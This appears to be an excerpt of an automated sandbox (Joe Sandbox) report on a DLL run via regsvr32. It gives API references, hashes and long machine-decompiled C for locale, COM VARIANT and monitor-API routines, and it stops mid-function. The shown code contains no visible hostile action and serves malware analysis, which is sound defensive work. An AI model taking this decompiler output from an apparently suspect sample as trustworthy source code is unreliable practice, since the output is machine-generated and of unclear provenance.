ConvertDefaultLocale.KERNEL32(?), ref: 6EB5086E
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6EB5088B
ConvertDefaultLocale.KERNEL32(?), ref: 6EB508B6
ConvertDefaultLocale.KERNEL32(000003FF), ref: 6EB508BF
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 6EB508D8
EnumResourceLanguagesA.KERNEL32 ref: 6EB508F5
ConvertDefaultLocale.KERNEL32(?), ref: 6EB50928
ConvertDefaultLocale.KERNEL32(00000000), ref: 6EB50931
GetModuleFileNameA.KERNEL32(6EB40000,?,00000105), ref: 6EB50974
_memset.LIBCMT ref: 6EB50994

Strings

kernel32.dll, xrefs: 6EB507F9
ntdll.dll, xrefs: 6EB508D3
GetUserDefaultUILanguage, xrefs: 6EB50818
GetSystemDefaultUILanguage, xrefs: 6EB50870

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$EnumFileH_prolog3_LanguagesNameResource_memset
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 3537336938-2299501126
Opcode ID: 94ff486a1334b2b097a7ae0846bede8824a7e5b152ad0e032adaf0e4b88d8020
Instruction ID: 4acfe1c66c19466c6cb5e14a66d98ab07e7148fd5be3dc76ed00736a7e14688f
Opcode Fuzzy Hash: 94ff486a1334b2b097a7ae0846bede8824a7e5b152ad0e032adaf0e4b88d8020
Instruction Fuzzy Hash: C9514B71D102688FDF65DFA5CC447EDBAB8AB59304F0041EAE548E3280E7748A91CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB62211 Relevance: 29.0, APIs: 19, Instructions: 460
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6EB62211(void* __ebx, signed short* __ecx, void* __edi, void* __esi) {
				signed int* _t193;
				void* _t197;
				signed int _t210;
				signed int _t214;
				void* _t216;
				intOrPtr _t219;
				signed short _t220;
				signed short _t222;
				signed short _t224;
				void* _t238;
				CHAR* _t244;
				signed short _t245;
				signed short _t246;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t258;
				signed short _t261;
				void* _t265;
				signed short _t268;
				signed short _t269;
				signed short* _t272;
				signed int _t290;
				signed short* _t291;
				signed int _t306;
				signed int _t311;
				void* _t313;
				intOrPtr* _t314;
				signed short* _t316;
				signed short _t318;
				intOrPtr* _t319;
				intOrPtr _t320;
				signed short* _t321;
				void* _t322;
				void* _t323;
				void* _t324;

				_t267 = __ebx;
				_push(__esi);
				_push(__edi);
				_t316 = __ecx;
				_t311 = 0;
				if( *((intOrPtr*)(__ecx + 8)) <= 0) {
					L6:
					return _t193;
				} else {
					_push(__ebx);
					while(1) {
						_t272 = _t316;
						if( *((intOrPtr*)(E6EB61367(_t272, _t311))) == 0) {
							break;
						}
						_t272 = _t316;
						if( *((intOrPtr*)(E6EB61367(_t272, _t311) + 4)) == 0) {
							break;
						} else {
							_t265 = E6EB61367(_t316, _t311);
							_t267 = _t265;
							_t193 =  *(E6EB61367(_t316, _t311));
							_t311 = _t311 + 1;
							 *_t193 = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t265 + 4)))) != 0x00000000;
							if(_t311 < _t316[4]) {
								continue;
							} else {
								goto L6;
							}
						}
						goto L86;
					}
					E6EB48BA4(_t267, _t272, _t311, _t316, __eflags);
					asm("int3");
					_push(0x7c);
					_t197 = E6EB664FB(0x6eb7849c, _t267, _t311, _t316);
					 *(_t322 - 0x24) = _t272;
					_t268 = 0;
					__eflags =  *_t272;
					if( *_t272 != 0) {
						 *((intOrPtr*)(_t322 - 0x54)) = 0;
						 *((intOrPtr*)(_t322 - 0x50)) = 0;
						 *(_t322 - 0x4c) = 0;
						 *((intOrPtr*)(_t322 - 0x48)) = 0;
						 *(_t322 - 4) = 0;
						E6EB65E80(_t311, _t322 - 0x54, 0, 0x10);
						_t324 = _t323 + 0xc;
						__eflags =  *(_t322 + 0x18);
						if( *(_t322 + 0x18) != 0) {
							 *(_t322 - 0x4c) = lstrlenA( *(_t322 + 0x18));
						}
						__eflags =  *(_t322 + 0xc) & 0x0000000c;
						 *((intOrPtr*)(_t322 - 0x20)) = 0xfffffffd;
						if(( *(_t322 + 0xc) & 0x0000000c) != 0) {
							 *((intOrPtr*)(_t322 - 0x48)) = 1;
							 *((intOrPtr*)(_t322 - 0x50)) = _t322 - 0x20;
						}
						 *((intOrPtr*)(_t322 - 0x68)) = 0x6eb7c160;
						 *((intOrPtr*)(_t322 - 0x64)) = _t268;
						 *((intOrPtr*)(_t322 - 0x58)) = _t268;
						 *((intOrPtr*)(_t322 - 0x5c)) = _t268;
						 *((intOrPtr*)(_t322 - 0x60)) = _t268;
						_t201 =  *(_t322 - 0x4c);
						 *(_t322 - 4) = 1;
						_t313 = 4;
						__eflags =  *(_t322 - 0x4c) - _t268;
						if(__eflags != 0) {
							_t306 = 0x10;
							_t320 = E6EB47C96(__eflags,  ~(0 | __eflags > 0x00000000) | _t201 * _t306);
							 *((intOrPtr*)(_t322 - 0x54)) = _t320;
							E6EB65E80(_t313, _t320, _t268,  *(_t322 - 0x4c) << 4);
							_t244 =  *(_t322 + 0x18);
							_t290 =  *(_t322 - 0x4c) << 4;
							_t324 = _t324 + 0x10;
							__eflags =  *_t244;
							_t42 = _t290 - 0x10; // -16
							_t291 = _t320 + _t42;
							 *(_t322 - 0x14) = _t244;
							 *(_t322 - 0x10) = _t291;
							if( *_t244 != 0) {
								_t245 =  *(_t322 + 0x1c);
								_t269 = _t245 - 4;
								_t47 =  &(_t291[4]); // -8
								_t321 = _t47;
								_t246 = _t245 + 0xfffffff8;
								__eflags = _t246;
								 *(_t322 - 0x1c) = _t321;
								 *(_t322 + 0x1c) = _t246;
								do {
									_t248 =  *( *(_t322 - 0x14)) & 0x000000ff;
									 *_t291 = _t248;
									__eflags = _t248 & 0x00000040;
									if((_t248 & 0x00000040) != 0) {
										_t261 = _t248 & 0x0000ffbf | 0x00004000;
										__eflags = _t261;
										 *_t291 = _t261;
									}
									_t249 =  *_t291 & 0x0000ffff;
									__eflags = _t249 - 0x4002;
									if(__eflags > 0) {
										_t250 = _t249 - 0x4003;
										__eflags = _t250 - 0x12;
										if(_t250 <= 0x12) {
											switch( *((intOrPtr*)(_t250 * 4 +  &M6EB627A7))) {
												case 0:
													goto L42;
												case 1:
													 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
													_t269 = _t269 + _t313;
													_t252 =  *_t269;
													asm("sbb ecx, ecx");
													 *_t252 =  ~( *_t252) & 0x0000ffff;
													 *_t321 = _t252;
													_t253 = L6EB610FD(_t322 - 0x34, _t252, _t252, 0);
													 *(_t322 - 4) = 3;
													E6EB6159D(_t322 - 0x68, _t253);
													__eflags =  *(_t322 - 0x2c);
													 *(_t322 - 4) = 1;
													if(__eflags != 0) {
														E6EB47CD0(_t269, _t313, _t321, __eflags,  *((intOrPtr*)(_t322 - 0x34)));
													}
													goto L43;
												case 2:
													goto L43;
											}
										}
									} else {
										if(__eflags == 0) {
											L42:
											 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
											_t269 = _t269 + _t313;
											__eflags = _t269;
											 *_t321 =  *_t269;
										} else {
											_t258 = _t249;
											__eflags = _t258 - 0x13;
											if(__eflags <= 0) {
												switch( *((intOrPtr*)(_t258 * 4 +  &M6EB62757))) {
													case 0:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__ax =  *__ebx;
														goto L36;
													case 1:
														goto L42;
													case 2:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
														__eax =  *(__ebp + 0x1c);
														__ebx = __ebx + 8;
														 *__esi =  *( *(__ebp + 0x1c));
														goto L43;
													case 3:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
														__eax =  *(__ebp + 0x1c);
														__ebx = __ebx + 8;
														 *__esi =  *( *(__ebp + 0x1c));
														goto L43;
													case 4:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														goto L25;
													case 5:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														_push(__eax);
														 *(__ebp - 0x1c) = __eax;
														__imp__#2();
														__eflags =  *(__ebp - 0x1c);
														 *__esi = __eax;
														if( *(__ebp - 0x1c) != 0) {
															__eflags = __eax;
															if(__eflags == 0) {
																goto L31;
															}
														}
														goto L43;
													case 6:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														 *__ebx =  ~( *__ebx);
														asm("sbb eax, eax");
														L36:
														 *__esi = __ax;
														goto L43;
													case 7:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 4;
														__edi =  *(__ebp - 0x10);
														__ebx = __ebx + 4;
														__esi =  *__ebx;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														__esi =  *(__ebp - 0x1c);
														_push(4);
														_pop(__edi);
														goto L43;
													case 8:
														L32:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														_push(__eax);
														__ecx = __ebp - 0x18;
														 *(__ebp - 0x1c) = __eax;
														__eax = E6EB4922C(__ebx, __ecx, __edi, __esi, __eflags);
														_push( *(__ebp - 0x18));
														 *((char*)(__ebp - 4)) = 2;
														__imp__#2();
														__eflags =  *(__ebp - 0x1c);
														 *__esi = __eax;
														if( *(__ebp - 0x1c) != 0) {
															__eflags = __eax;
															if(__eflags == 0) {
																L31:
																__eax = E6EB48B6C(__ebx, __ecx, __edi, __esi, __eflags);
																goto L32;
															}
														}
														__ecx =  *(__ebp - 0x10);
														_push(8);
														_pop(__eax);
														 *( *(__ebp - 0x10)) = __ax;
														__ecx =  *(__ebp - 0x18);
														__ecx =  *(__ebp - 0x18) + 0xfffffff0;
														 *((char*)(__ebp - 4)) = 1;
														__eax = L6EB41020(__ecx, __edx);
														goto L43;
													case 9:
														goto L43;
													case 0xa:
														 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
														_t269 = _t269 + _t313;
														 *_t321 =  *_t269;
														goto L43;
													case 0xb:
														__eax =  *(__ebp + 0x1c);
														__eax =  *(__ebp + 0x1c) + 8;
														 *(__ebp + 0x1c) = __eax;
														__ebx = __ebx + 8;
														__eflags = __ebx;
														L25:
														__ecx =  *__eax;
														 *__esi = __ecx;
														__esi[1] = __eax;
														goto L43;
												}
											}
										}
									}
									L43:
									_t291 =  *(_t322 - 0x10) - 0x10;
									_t321 = _t321 - 0x10;
									 *(_t322 - 0x14) =  &(( *(_t322 - 0x14))[1]);
									__eflags =  *( *(_t322 - 0x14));
									 *(_t322 - 0x10) = _t291;
									 *(_t322 - 0x1c) = _t321;
								} while ( *( *(_t322 - 0x14)) != 0);
								_t268 = 0;
								__eflags = 0;
							}
						}
						_t318 = 0;
						E6EB54FBE(_t322 - 0x44);
						__eflags =  *(_t322 + 0x10) - _t268;
						if( *(_t322 + 0x10) != _t268) {
							_t318 = _t322 - 0x44;
						}
						E6EB65E80(_t313, _t322 - 0x88, _t268, 0x20);
						 *(_t322 - 0x28) =  *(_t322 - 0x28) | 0xffffffff;
						_t305 = _t322 - 0x54;
						 *(_t322 + 0xc) =  *((intOrPtr*)( *( *( *(_t322 - 0x24))) + 0x18))(_t318, _t322 - 0x88, _t322 - 0x28);
						E6EB62211(_t268, _t322 - 0x68, _t313, _t318,  *( *(_t322 - 0x24)),  *((intOrPtr*)(_t322 + 8)), 0x6eb7e0f4, _t268,  *(_t322 + 0xc), _t322 - 0x54);
						_t210 =  *(_t322 - 0x4c);
						__eflags = _t210 - _t268;
						if(__eflags != 0) {
							_t318 =  *(_t322 + 0x18);
							_t313 = (_t210 << 4) +  *((intOrPtr*)(_t322 - 0x54)) - 0x10;
							while(1) {
								__eflags =  *_t318;
								if(__eflags == 0) {
									goto L54;
								}
								_t238 =  *_t318;
								__eflags = _t238 - 8;
								if(_t238 == 8) {
									L51:
									__imp__#9(_t313);
								} else {
									__eflags = _t238 - 0xe;
									if(_t238 == 0xe) {
										goto L51;
									}
								}
								_t313 = _t313 - 0x10;
								_t318 = _t318 + 1;
								__eflags = _t318;
							}
						}
						L54:
						E6EB47CD0(_t268, _t313, _t318, __eflags,  *((intOrPtr*)(_t322 - 0x54)));
						__eflags =  *(_t322 + 0xc) - _t268;
						 *((intOrPtr*)(_t322 - 0x54)) = _t268;
						if( *(_t322 + 0xc) < _t268) {
							__imp__#9(_t322 - 0x44);
							__eflags =  *(_t322 + 0xc) - 0x80020009;
							if(__eflags != 0) {
								_push( *(_t322 + 0xc));
								L57:
								E6EB48DE3(_t268, _t313, _t318, __eflags);
							}
							__eflags =  *((intOrPtr*)(_t322 - 0x70)) - _t268;
							if(__eflags != 0) {
								 *((intOrPtr*)(_t322 - 0x70))(_t322 - 0x88);
							}
							_t219 = E6EB47C96(__eflags, 0x20);
							 *((intOrPtr*)(_t322 + 0x14)) = _t219;
							 *(_t322 - 4) = 4;
							__eflags = _t219 - _t268;
							if(__eflags != 0) {
								_push( *((intOrPtr*)(_t322 - 0x88)));
								_push(_t268);
								_push(_t268);
								_t268 = E6EB61C50(_t268, _t219, _t305, _t313, _t318, __eflags);
							}
							_t314 = __imp__#7;
							 *(_t322 - 4) = 1;
							_t220 =  *_t314( *((intOrPtr*)(_t322 - 0x84)));
							__eflags = _t220;
							if(_t220 != 0) {
								_t144 = _t268 + 0x18; // 0x18
								E6EB48F80(_t268, _t144,  *((intOrPtr*)(_t322 - 0x84)));
							}
							_t319 = __imp__#6;
							 *_t319( *((intOrPtr*)(_t322 - 0x84)));
							_t222 =  *_t314( *((intOrPtr*)(_t322 - 0x80)));
							__eflags = _t222;
							if(_t222 != 0) {
								_t148 = _t268 + 0xc; // 0xc
								E6EB48F80(_t268, _t148,  *((intOrPtr*)(_t322 - 0x80)));
							}
							 *_t319( *((intOrPtr*)(_t322 - 0x80)));
							_t224 =  *_t314( *((intOrPtr*)(_t322 - 0x7c)));
							__eflags = _t224;
							if(_t224 != 0) {
								_t152 = _t268 + 0x14; // 0x14
								E6EB48F80(_t268, _t152,  *((intOrPtr*)(_t322 - 0x7c)));
							}
							 *_t319( *((intOrPtr*)(_t322 - 0x7c)));
							 *((intOrPtr*)(_t268 + 0x10)) =  *((intOrPtr*)(_t322 - 0x78));
							 *((intOrPtr*)(_t268 + 0x1c)) =  *((intOrPtr*)(_t322 - 0x6c));
							 *((intOrPtr*)(_t322 + 0x14)) = _t268;
							E6EB667FC(_t322 + 0x14, 0x6eb84f9c);
						}
						_t318 =  *(_t322 + 0x10);
						__eflags = _t318 - _t268;
						if(_t318 != _t268) {
							__eflags = _t318 - 0xc;
							if(_t318 == 0xc) {
								L73:
								_t214 = (_t318 & 0x0000ffff) + 0xfffffffe;
								__eflags = _t214 - 0x13;
								if(_t214 <= 0x13) {
									switch( *((intOrPtr*)(_t214 * 4 +  &M6EB627F3))) {
										case 0:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 1:
											__eax =  *(__ebp + 0x14);
											__ecx =  *(__ebp - 0x3c);
											 *( *(__ebp + 0x14)) = __ecx;
											goto L84;
										case 2:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 3:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 4:
											__ecx =  *(__ebp - 0x3c);
											__eax =  *(__ebp + 0x14);
											 *__eax =  *(__ebp - 0x3c);
											__ecx =  *(__ebp - 0x38);
											 *(__eax + 4) = __ecx;
											goto L84;
										case 5:
											__eax = E6EB55B3E(__eax, __ecx,  *(__ebp + 0x14),  *(__ebp - 0x3c));
											_push( *(__ebp - 0x3c));
											__imp__#6();
											goto L84;
										case 6:
											__ecx =  *(__ebp + 0x14);
											__eax = 0;
											__eflags =  *(__ebp - 0x3c) - __bx;
											__eax = 0 | __eflags != 0x00000000;
											 *__ecx = __eflags != 0;
											goto L84;
										case 7:
											__edi =  *(__ebp + 0x14);
											__esi = __ebp - 0x44;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											goto L84;
										case 8:
											goto L84;
										case 9:
											 *((char*)( *((intOrPtr*)(_t322 + 0x14)))) =  *((intOrPtr*)(_t322 - 0x3c));
											goto L84;
									}
								}
							} else {
								_t216 = _t322 - 0x44;
								__imp__#12(_t216, _t216, _t268, _t318);
								_t313 = _t216;
								__eflags = _t313 - _t268;
								if(__eflags >= 0) {
									goto L73;
								} else {
									__imp__#9(_t322 - 0x44);
									_push(_t313);
									goto L57;
								}
							}
						}
						L84:
						 *(_t322 - 4) = 0;
						E6EB61464(_t322 - 0x68);
						_t190 = _t322 - 4;
						 *_t190 =  *(_t322 - 4) | 0xffffffff;
						__eflags =  *_t190;
						_t197 = L6EB621DD(_t322 - 0x54);
					}
					return E6EB665D3(_t197);
				}
				L86:
			}

0x6eb62211
0x6eb62213
0x6eb62214
0x6eb62215
0x6eb62217
0x6eb6221c
0x6eb62262
0x6eb62264
0x6eb6221e
0x6eb6221e
0x6eb6221f
0x6eb62220
0x6eb6222a
0x00000000
0x00000000
0x6eb6222d
0x6eb62238
0x00000000
0x6eb6223a
0x6eb6223d
0x6eb62245
0x6eb6224f
0x6eb62259
0x6eb6225a
0x6eb6225f
0x00000000
0x6eb62261
0x00000000
0x6eb62261
0x6eb6225f
0x00000000
0x6eb62238
0x6eb62265
0x6eb6226a
0x6eb6226b
0x6eb62272
0x6eb62277
0x6eb6227a
0x6eb6227c
0x6eb6227e
0x6eb62284
0x6eb62287
0x6eb6228a
0x6eb6228d
0x6eb62297
0x6eb6229a
0x6eb6229f
0x6eb622a2
0x6eb622a5
0x6eb622b0
0x6eb622b0
0x6eb622b3
0x6eb622b7
0x6eb622be
0x6eb622c3
0x6eb622ca
0x6eb622ca
0x6eb622cd
0x6eb622d4
0x6eb622d7
0x6eb622da
0x6eb622dd
0x6eb622e0
0x6eb622e5
0x6eb622e9
0x6eb622ea
0x6eb622ec
0x6eb622f6
0x6eb62306
0x6eb62311
0x6eb62314
0x6eb6231c
0x6eb6231f
0x6eb62322
0x6eb62325
0x6eb62328
0x6eb62328
0x6eb6232c
0x6eb6232f
0x6eb62332
0x6eb62338
0x6eb6233b
0x6eb6233e
0x6eb6233e
0x6eb62341
0x6eb62341
0x6eb62344
0x6eb62347
0x6eb6234a
0x6eb6234d
0x6eb62351
0x6eb62354
0x6eb62356
0x6eb6235d
0x6eb6235d
0x6eb62362
0x6eb62362
0x6eb62365
0x6eb6236d
0x6eb6236f
0x6eb6248d
0x6eb62492
0x6eb62495
0x6eb62497
0x00000000
0x00000000
0x00000000
0x6eb6249e
0x6eb624a1
0x6eb624a3
0x6eb624a9
0x6eb624b3
0x6eb624ba
0x6eb624bc
0x6eb624c5
0x6eb624c9
0x6eb624ce
0x6eb624d2
0x6eb624d6
0x6eb624db
0x6eb624e0
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb62497
0x6eb62375
0x6eb62375
0x6eb624e3
0x6eb624e3
0x6eb624e6
0x6eb624e6
0x6eb624ea
0x6eb6237b
0x6eb6237c
0x6eb6237d
0x6eb62380
0x6eb62386
0x00000000
0x6eb6239b
0x6eb6239e
0x6eb623a0
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb623c3
0x6eb623c7
0x6eb623cc
0x6eb623cf
0x00000000
0x00000000
0x6eb623d6
0x6eb623da
0x6eb623df
0x6eb623e2
0x00000000
0x00000000
0x6eb623e9
0x6eb623ec
0x6eb623ee
0x00000000
0x00000000
0x6eb623f2
0x6eb623f5
0x6eb623f7
0x6eb623f9
0x6eb623fa
0x6eb623fd
0x6eb62403
0x6eb62407
0x6eb62409
0x6eb6240f
0x6eb62411
0x00000000
0x00000000
0x6eb62411
0x00000000
0x00000000
0x6eb62465
0x6eb62468
0x6eb6246c
0x6eb6246e
0x6eb62470
0x6eb62470
0x00000000
0x00000000
0x6eb62475
0x6eb62479
0x6eb6247c
0x6eb6247f
0x6eb62481
0x6eb62482
0x6eb62483
0x6eb62484
0x6eb62485
0x6eb62488
0x6eb6248a
0x00000000
0x00000000
0x6eb6241c
0x6eb6241c
0x6eb6241f
0x6eb62421
0x6eb62423
0x6eb62424
0x6eb62427
0x6eb6242a
0x6eb6242f
0x6eb62432
0x6eb62436
0x6eb6243c
0x6eb62440
0x6eb62442
0x6eb62444
0x6eb62446
0x6eb62417
0x6eb62417
0x00000000
0x6eb62417
0x6eb62446
0x6eb62448
0x6eb6244b
0x6eb6244d
0x6eb6244e
0x6eb62451
0x6eb62454
0x6eb62457
0x6eb6245b
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb6238d
0x6eb62390
0x6eb62394
0x00000000
0x00000000
0x6eb623a8
0x6eb623ab
0x6eb623ae
0x6eb623b1
0x6eb623b1
0x6eb623b4
0x6eb623b4
0x6eb623b6
0x6eb623bb
0x00000000
0x00000000
0x6eb62386
0x6eb62380
0x6eb62375
0x6eb624ec
0x6eb624ef
0x6eb624f2
0x6eb624f5
0x6eb624fb
0x6eb624fe
0x6eb62501
0x6eb62501
0x6eb6250a
0x6eb6250a
0x6eb6250a
0x6eb62332
0x6eb62510
0x6eb62512
0x6eb62517
0x6eb6251b
0x6eb6251d
0x6eb6251d
0x6eb6252a
0x6eb62534
0x6eb62549
0x6eb62560
0x6eb62563
0x6eb62568
0x6eb6256b
0x6eb6256d
0x6eb62572
0x6eb62578
0x6eb62593
0x6eb62593
0x6eb62596
0x00000000
0x00000000
0x6eb6257e
0x6eb62580
0x6eb62582
0x6eb62588
0x6eb62589
0x6eb62584
0x6eb62584
0x6eb62586
0x00000000
0x00000000
0x6eb62586
0x6eb6258f
0x6eb62592
0x6eb62592
0x6eb62592
0x6eb62593
0x6eb62598
0x6eb6259b
0x6eb625a0
0x6eb625a4
0x6eb625a7
0x6eb625b1
0x6eb625b7
0x6eb625be
0x6eb625c0
0x6eb625c3
0x6eb625c3
0x6eb625c3
0x6eb625c8
0x6eb625cb
0x6eb625d4
0x6eb625d4
0x6eb625d9
0x6eb625df
0x6eb625e2
0x6eb625e6
0x6eb625e8
0x6eb625ea
0x6eb625f2
0x6eb625f3
0x6eb625f9
0x6eb625f9
0x6eb62601
0x6eb62607
0x6eb6260b
0x6eb6260d
0x6eb6260f
0x6eb62617
0x6eb6261a
0x6eb6261a
0x6eb62625
0x6eb6262b
0x6eb62630
0x6eb62632
0x6eb62634
0x6eb62639
0x6eb6263c
0x6eb6263c
0x6eb62644
0x6eb62649
0x6eb6264b
0x6eb6264d
0x6eb62652
0x6eb62655
0x6eb62655
0x6eb6265d
0x6eb62662
0x6eb62668
0x6eb62674
0x6eb62677
0x6eb62677
0x6eb6267c
0x6eb6267f
0x6eb62682
0x6eb62688
0x6eb6268c
0x6eb626b1
0x6eb626b4
0x6eb626b7
0x6eb626ba
0x6eb626bc
0x00000000
0x6eb626cd
0x6eb626d4
0x00000000
0x00000000
0x6eb6272f
0x6eb62732
0x6eb62735
0x00000000
0x00000000
0x6eb626ec
0x6eb626ef
0x00000000
0x00000000
0x6eb626f6
0x6eb626f9
0x00000000
0x00000000
0x6eb626d9
0x6eb626dc
0x6eb626df
0x6eb626e1
0x6eb626e4
0x00000000
0x00000000
0x6eb62703
0x6eb62708
0x6eb6270b
0x00000000
0x00000000
0x6eb62713
0x6eb62716
0x6eb62718
0x6eb6271c
0x6eb6271f
0x00000000
0x00000000
0x6eb62723
0x6eb62726
0x6eb62729
0x6eb6272a
0x6eb6272b
0x6eb6272c
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb626c9
0x00000000
0x00000000
0x6eb626bc
0x6eb6268e
0x6eb62690
0x6eb62695
0x6eb6269b
0x6eb6269d
0x6eb6269f
0x00000000
0x6eb626a1
0x6eb626a5
0x6eb626ab
0x00000000
0x6eb626ab
0x6eb6269f
0x6eb6268c
0x6eb62737
0x6eb6273a
0x6eb6273e
0x6eb62743
0x6eb62743
0x6eb62743
0x6eb6274a
0x6eb6274a
0x6eb62754
0x6eb62754
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 6EB62272
_memset.LIBCMT ref: 6EB6229A
lstrlenA.KERNEL32(?,00000004,00000000,6EB62568), ref: 6EB622AA
_memset.LIBCMT ref: 6EB62314
_memset.LIBCMT ref: 6EB6252A
VariantClear.OLEAUT32(?), ref: 6EB62589
VariantClear.OLEAUT32(?), ref: 6EB625B1
SysStringLen.OLEAUT32(?), ref: 6EB6260B
SysFreeString.OLEAUT32(?), ref: 6EB6262B
SysStringLen.OLEAUT32(?), ref: 6EB62630
SysFreeString.OLEAUT32(?), ref: 6EB62644
SysStringLen.OLEAUT32(?), ref: 6EB62649
SysFreeString.OLEAUT32(?), ref: 6EB6265D
__CxxThrowException@8.LIBCMT ref: 6EB62677
VariantChangeType.OLEAUT32(?,?,00000000,?), ref: 6EB62695
VariantClear.OLEAUT32(?), ref: 6EB626A5

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: String$Variant$ClearFree_memset$ChangeException@8H_prolog3ThrowTypelstrlen
String ID:
API String ID: 4128688680-0
Opcode ID: b0b3521d95385965da4e711d2a4d44664237baae31b4037d5c3f281dd8c12d2d
Instruction ID: 5d03c207a779ab8ea8d9782a538db74713ee884ce4c098d607bb9de74e88ece7
Opcode Fuzzy Hash: b0b3521d95385965da4e711d2a4d44664237baae31b4037d5c3f281dd8c12d2d
Instruction Fuzzy Hash: F502797190028ADFEF10CFE8D894AEEBFB8EF05304F104469E955AB2A0DB749A55CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A0A9 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 78
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E6EB4A0A9() {
				void* __ebx;
				void* __esi;
				void* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				signed int _t16;
				signed int _t17;
				struct HINSTANCE__* _t19;
				void* _t21;
				void* _t24;
				void* _t25;

				_t17 = _t16 ^ _t16;
				_t24 =  *0x6eb8c534 - _t17; // 0x0
				if(_t24 == 0) {
					_push(_t21);
					 *0x6eb8c538 = L6EB4A04F(_t17, _t21, __eflags);
					_t19 = GetModuleHandleA("USER32");
					__eflags = _t19 - _t17;
					if(_t19 == _t17) {
						L12:
						 *0x6eb8c518 = _t17;
						 *0x6eb8c51c = _t17;
						 *0x6eb8c520 = _t17;
						 *0x6eb8c524 = _t17;
						 *0x6eb8c528 = _t17;
						 *0x6eb8c52c = _t17;
						 *0x6eb8c530 = _t17;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t19, "GetSystemMetrics");
						 *0x6eb8c518 = _t6;
						__eflags = _t6 - _t17;
						if(_t6 == _t17) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t19, "MonitorFromWindow");
							 *0x6eb8c51c = _t7;
							__eflags = _t7 - _t17;
							if(_t7 == _t17) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t19, "MonitorFromRect");
								 *0x6eb8c520 = _t8;
								__eflags = _t8 - _t17;
								if(_t8 == _t17) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t19, "MonitorFromPoint");
									 *0x6eb8c524 = _t9;
									__eflags = _t9 - _t17;
									if(_t9 == _t17) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t19, "EnumDisplayMonitors");
										 *0x6eb8c52c = _t10;
										__eflags = _t10 - _t17;
										if(_t10 == _t17) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t19, "GetMonitorInfoA");
											 *0x6eb8c528 = _t11;
											__eflags = _t11 - _t17;
											if(_t11 == _t17) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t19, "EnumDisplayDevicesA");
												 *0x6eb8c530 = _t12;
												__eflags = _t12 - _t17;
												if(_t12 == _t17) {
